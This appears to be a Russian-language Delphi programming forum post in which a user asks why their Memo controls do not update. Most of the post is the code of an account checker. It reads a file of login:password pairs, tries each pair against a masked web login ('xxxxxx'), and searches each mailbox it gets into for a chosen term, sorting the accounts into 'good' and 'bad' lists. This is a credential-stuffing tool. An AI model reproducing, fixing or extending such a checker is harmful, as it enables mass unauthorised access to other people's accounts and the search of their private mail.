
16.04.2015, 19:20
|
Прохожий
|
|
Регистрация: 13.04.2015
Сообщения: 24
Версия Delphi: Delphi 2010
Репутация: 10
|
|
C разделителем разобрался - спасибо. А вот с Memo до конца не понял как правильно сделать, я написал вот так, но мне кажется что это ничего не поменяло:
Код:
var
Form2: TForm2;
Accounts, good, bad: TStringList;
Login, Password, del: string;
implementation
{$R *.dfm}
procedure TForm2.sButton2Click(Sender: TObject);
begin
Accounts:=TStringList.Create;
if sOpenDialog1.Execute then
begin
Accounts.LoadFromFile(sOpenDialog1.FileName);
sLabel9.Caption:=inttostr(Accounts.Count);
end;
if pos(';', Accounts.Strings[0])<>0 then
begin
del:=';';
end else
begin
del:=':';
end;
end;
procedure TForm2.sButton1Click(Sender: TObject);
var
HTML: string;
Acc: integer;
begin
good:=TStringList.Create;
bad:=TStringList.Create;
for Acc := 0 to Accounts.Count-1 do
begin
Login:=copy(Accounts[Acc], 1, pos(del, Accounts[Acc])-1);
Password:=copy(Accounts[Acc], pos(del, Accounts[Acc])+1, MaxInt);
HTML:=IdHTTP1.Get('http://xxxxxx&Login='+Login+'&Password='+Password);
if pos ('class="button__valign"', HTML)<>0 then
begin
HTML:=IdHTTP1.Get('https://xxxxxx/gosearch?q%5Fquery='+sEdit3.Text+'&q%5Ffolder=all');
if pos ('class="gosearch-message"', HTML)<>0 then
begin
bad.Add(Login+del+Password);
sMemo2.Lines.Assign(bad);
sLabel6.Caption:=inttostr(sMemo2.Lines.Count);
end
else
begin
good.Add(Login+del+Password);
sMemo1.Lines.Assign(good);
sLabel7.Caption:=inttostr(sMemo1.Lines.Count);
end;
end
else
begin
bad.Add(Login+del+Password);
sMemo2.Lines.Assign(bad);
sLabel6.Caption:=inttostr(sMemo2.Lines.Count);
end;
end;
end;
end.
|